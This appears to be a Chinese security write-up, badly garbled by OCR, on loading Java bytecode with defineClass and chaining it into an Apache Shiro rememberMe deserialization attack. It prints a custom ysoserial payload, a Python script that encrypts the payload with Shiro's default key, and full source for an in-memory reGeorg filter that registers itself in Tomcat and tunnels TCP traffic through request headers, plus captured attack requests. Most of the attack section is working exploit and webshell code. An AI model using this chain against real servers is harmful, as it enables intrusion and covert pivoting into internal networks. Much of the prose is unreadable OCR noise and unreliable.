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Java EmEME

Java FENNH AR HEXMEBI, RIVIMFHEEL new FREEMITRES
Jvm BB REINFHEIRNTFF, ErRiEsEEE Class.forNamel(..) FANHER
RBECENE, mEXENEH BRI DIRRNESME, FIMBAIMBENX
KNI ENBEENIE,

BEMN ClassLoader

java.lang.ClasslLoader PR BRIEMEZFIORE, HMBFLEINHEE35120
URLClasslLoader g2t 4%% java.lang.ClassLoader SAREE R E T iEMMSE
W T INEL B % class M E Az 53R A4
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class U extends ClasslLoader{
U(ClassLoader c){
super(c);

}

public Class g(byte [1b){
return super.defineClass(b,@,b.length);

}

new

U(this.getClass().getClassLoader()).g(classBytes).newInstance().equals(pageCon
text);

RISHEIET U 443 ClasslLoader , ,\\FEEX—/\%ﬁ g WmHEE EKRF
MBAKRIS A B AR LR defineClass HISRITEPIBIRE Class W&, &
SLEIMIZEH A equals 574, BN jsp £ XA pageContext NR,

s
=

Hrh bytecode Rl HKBEFPImAEERSBIHNFTHID, NFDIBMARNEF
EE5 7T equals 7k, M pageContext H3REY request , response EXNRIESH
ROSRERAI AT 45 RAVR
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R &1iBF defineClass

R T DRSS EETIBNINEE, BARENBERERE—F
FRH], PrbAthr] bUE Y B & 5318 ClassLoader # defineClass FiAmI7SHNE,
FREmMARMEEM Java 2=

java.lang.reflect.Method defineClassMethod =
(ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class,
int.class, int.class});

defineClassMethod.setAccessible(true);

Class cc = (Class) defineClassMethod.invoke(new ClassLoader(){}, classBytes,
@, classBytes.length);

T8 defineClass B, EILEIL, T — ClassLoader , new ClassLoader()
{3, XRRENE Java PEMNE—HEBREMFRMNERE AT, WERGHEEF LT
SHRYEINEERSLAI, m POC EARE—1ERZZ AT, AJeEEIEEETENX

(==
FF b

Shiro RIFFIE_EE reGeorg LI

PPN BB T, TN —PTEALMNEY Spring Boot + Shiro A2z a0{a) 147
RZE, XMIER TAES jsp B, MEREEHMBANEEERE shell Fig
1B, BHITRMNEZERRERITFNAUMENSEM filter 2i& servlet, 4§
reGeorg IBIRAE R, BAURE POC #E51E header 1, & ESIT H e/
header KERH], IAEFLRABEMNEEBNINKERS, & (BEF2E
fE7F RO BES | Tomcat —F@AEIE 5 EMR) . WERRA LR MINEBINE
FHIBH T EBB AR )AL ] AR .
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& ysoserial

NTIE ysoserial HIEBEA TXHIREIANZE, FESHLE pom.xml HHINLN NKET

<dependency>
<groupId>org.apache.tomcat.embed</groupIld>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.50</version>

</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>2.5</version>

</dependency>

B RFICIIEITIEERN Java U8, FE(EE) Templatesimpl , 7E ysoserial
R — D EFH AR AbstractTranslet , IXEBRIERNAINSZ (X
Templatesimpl B9 7t REHE)

B SAURBIRRIREY T Spring Boot X EA request , response A session
SRSIRBEY classData S8 @1d & 81AR defineClass s, SEEMY /S
FAEFR equals F3EfEN request , response 1 session = N5

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request =
(Corg.springframework.web.context.request.ServletRequestAttributes)org.springf
ramework.web.context.request.RequestContextHolder.getRequestAttributes()).getR
equest();
java.lang.reflect.Field
r=request.getClass().getDeclaredField("request™);
r.setAccessible(true);
org.apache.catalina.connector.Response response =
(Corg.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();

String classData=request.getParameter("classData™);
System.out.println(classData);
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byte[] classBytes = new
sun.misc.BASEG64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod =

(ClassLoader.class.getDeclaredMethod("defineClass" ,new Class[]{byte[].class,

int.class, int.class});
defineClassMethod.setAccessible(true);

Class cc = (Class)
defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes,

@,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});

}catch(Exception e){
e.printStackTrace(Q);

}
public void transform(DOM arg@, SerializationHandler[] argl) throws

TransletException {

}

public void transform(DOM arg@d, DTMAxisIterator argl, SerializationHandler
arg2) throws TransletException {

}
}

SRS FE ysoserial.payloads.util 8289 Gadgets EHBERAR
createTemplatesimpl 7535 RII—" createTemplatesimpl(Class ¢) , S8BT
MEILRSIHINERIZE, WTFEEBEAN c BT HIBMEZR T _bytecodes

public static <T> T createTemplatesImpl(Class c) throws Exception {
Class<T> tplClass = null;

if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
tplClass = (Class<T>)
(Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");

}else{
tplClass = (Class<T>) TemplatesImpl.class;

final T templates = tplClass.newInstance();
final byte[] classBytes = ClassFiles.classAsBytes(c);

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes

s

Reflections.setFieldValue(templates, "_name", "Pwnr™");
return templates;

&/5E%] CommonsBeanutilsT.java A9CRBIEIN— payload
CommonsBeanutils1_Classloader.java, BiEHEH
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final Object templates = Gadgets.createTemplatesImpl(command);

BN

final Object templates =
Gadgets.createTemplatesImpl(ysoserial .MyClassLoader.class);

T8

mvn clean package -DskipTests

BLARHIA AR POC

#python2

#pip install pycrypto

import sys

import base64

import uuid

from random import Random
import subprocess

from Crypto.Cipher import AES

key = "kPH+bIxk5D2deZiIxcaaaA=="

mode AES .MODE_CBC

Iv uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))

python2 shiro_cookie.py “java -jar ysoserial-0.0.6-SNAPSHOT-all. jar
CommonsBeanutilsl_ClassLoader anything |base64 Ised ':label;N;s/\n//;b label'"

& reGeorg

T reGeorg BRZIHAVE N E SR Z request EX RN AT, N T HET
A filter , FEEINZESLH 7 Filter 350, £ doFilter FAA5EAL reGeorg BY
FEPEE, T equals FyARIFTT filter BB E

package reGeorg;

import javax.servlet.*;
import java.io.IOException;

miilaT 2 f AT s MawiPD Al aninas S wmnT mmtmaiala S mtvmns masml Al FITLaw(
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PUDLLC CLUDD NMENREUWEU'Y LIMNPLEMNENTS JUVUX.dE'vVLEL.rLLLEr"y
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;

@0verride
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@0verride
public void doFilter(ServletRequest requestl, ServletResponse responsel,
FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request =
(javax.servlet.http.HttpServletRequest)requestl;
javax.servlet.http.HttpServletResponse response =
(javax.servlet.http.HttpServletResponse)responsel;
javax.servlet.http.HttpSession session = request.getSession();

String cmd = request.getHeader("X-CMD");
if (emd !'= null) {
response.setHeader("X-STATUS", "OK");
if (cmd.compareTo("CONNECT") == Q) {
try {
String target = request.getHeader("X-TARGET");
int port = Integer.parselnt(request.getHeader("X-PORT"));

java.nio.channels.SocketChannel socketChannel =
java.nio.channels.SocketChannel.open();

socketChannel . connect(new
java.net.InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");

} catch (java.net.UnknownHostException e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");

} catch (java.io.IOException e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");

}

} else if (cmd.compareTo("DISCONNECT") == 0) {
java.nio.channels.SocketChannel socketChannel =
(java.nio.channels.SocketChannel)session.getAttribute("socket");
try{
socketChannel.socket().close();
} catch (Exception ex) {
}

session.invalidate();
} else if (cmd.compareTo("READ") == 0){
java.nio.channels.SocketChannel socketChannel =
(java.nio.channels.SocketChannel)session.getAttribute("socket");
try {
java.nio.ByteBuffer buf =

java.nio.ByteBuffer.allocate(512);
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int bytesRead = socketChannel.read(buf);
ServletOutputStream so = response.getOutputStream();
while (bytesRead > 0){

so.write(buf.array(),0,bytesRead);
so.flush();

buf.clearQ);
bytesRead = socketChannel.read(buf);
ks
response.setHeader("X-STATUS", "OK");
so.flush(Q);
so.close();
} catch (Exception e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");

} else if (cmd.compareTo("FORWARD") == 0){
java.nio.channels.SocketChannel socketChannel =
(java.nio.channels.SocketChannel)session.getAttribute("socket");

try {
int readlen
byte[] buff
request.getInputStream().read(buff, @, readlen);
java.nio.ByteBuffer buf =
java.nio.ByteBuffer.allocate(readlen);
buf.clear(Q);
buf.put(buff);
buf.flip(Q);
while(buf.hasRemaining()) {
socketChannel .write(buf);

request.getContentLength();

new byte[readlen];

3
response.setHeader("X-STATUS", "OK");

} catch (Exception e) {
response.setHeader("X-ERROR", e.getMessage());

response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();

ks
} else {
filterChain.doFilter(request, response);

public boolean equals(Object obj) {
Object[] context=(0Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[@];

try {
dynamicAddFilter(new MemReGeorg(), "reGeorg","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
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return true;

public static void dynamicAddFilter(javax.servlet.Filter filter,String
name,String url,javax.servlet.http.HttpServletRequest request) throws
IllegalAccessException {

javax.servlet.ServletContext
servletContext=request.getServletContext();

if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext
=null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;

javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

try {

contextField=servletContext.getClass().getDeclaredField("context™);
contextField.setAccessible(true);
applicationContext =
(org.apache.catalina.core.ApplicationContext)
contextField.get(servletContext);

contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);

standardContext= (org.apache.catalina.core.StandardContext)
contextField.get(applicationContext);

stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("stat
e");

stateField.setAccessible(true);

stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PRE
P);
filterRegistration = servletContext.addFilter(name, filter);

filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet
.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod =
org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);

stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){

)

}inally {

stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);

by
3

-
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HHIHY baseb4

cat MemReGeorg.classl|base64 |sed ':label;N;s/\n//;b label'

A

7£ Cookie #MEXN rememberMe=[ysoserial 4 Y POC],
classData=[MemReGeorg £F T3] base64]

i3, RERE

Reguest

POST El{fiA
AR POST S HFER URL

JE] Headers [Hex [HTML ] Render i

JEI Params lHnaders [Hax |

WpOIRS4yPgkER2rY Jj
ON+JPe
C(.n'wclun close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10832

SR IEE = X—CMD:I13yxheader SkEIEK T HE,

BRIEETIF

Request

Raw | Headers | Hax ]
x|

HTTP#1.1 200
Senver nginwi 19.0
Date: Fri, 03 Jul 2020 07:14:42 GMT
Content-Type: text/html,charset=UTF-8
Connection; close
Set-Cookie: JSESS
Set-Cookie: rememberMe
Content-Language: zh-CN
Content-Length: 1509

F5; Path=/, HitpOnly
Thu, 02-Jul-2020 07:14:42 GMT

<himl>

<head>

<meta charset="utf-8"f>

athGhost" /
css” hraf="css/styla

css” tppabs="css/style.css” />

b ight:100%;bacl

canvas{zindex:1;position: absolute;)

16:a08"

<script>

$idocumenti.readvifunctionf {

IR[E] X-STATUS: OK 15288 reGeorg

JET Headers [ Hex |

GET flogin HTTPA 1
Host
Cache-Control: max-age=0

Upgrade-Insecurs-Requasts: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinBd; x64) AppleWebKit/53T
Chrome/74.0.3729.169 Safari/537 36
Accapt:

text/htm application/xhtml+xmi applica
change vw=b3

Accept-Encading: gzip, deflate
Accept-Language: zh-CN zh:q=09
K-CMD:Byx

Connection: close

36 (KHTML, like Gecko)

sn/eml;q=0.9 imagelwebp imaga/apng,*I*;q=0 8, application/signad-ax

e

HTTP/1.1 200

Sewver: nginx/1.19.0

Date: Fri, 03 Jul 2020 07-16:36 GMT
Content-Length: 0
Connection: close
Set-Cookie: JSESSIONID=A
X-STATUS: OK

FOBICESD; Path=; HitpOnly

:
=
11

=

A5

Q‘n
\
el

b

reGeorg BEFInthEEEN—T, RM=5E GET %?—TMD@E’U%’E%E\%
reGeorg B9 jsp THH, HFXEZANINT —

1Y, RAE®LERET =
5

£ askGeorg HEE—

askGeorg(connectStrin

connectString
connectString)

connectString =
0= LH"lpdl se(

D filter BEihONTITENSB LW

#N reGeorg U5, PTLATR %hﬁ)i' AR R AV UE R

T80 return True BNA]
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httpPort = o.port

u http:// "/login -p 8081

, tunnel at [http://: login]
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e nhttps://xz.aliyun.com/t/2744

e nhttps://xz.aliyun.com/t/7388
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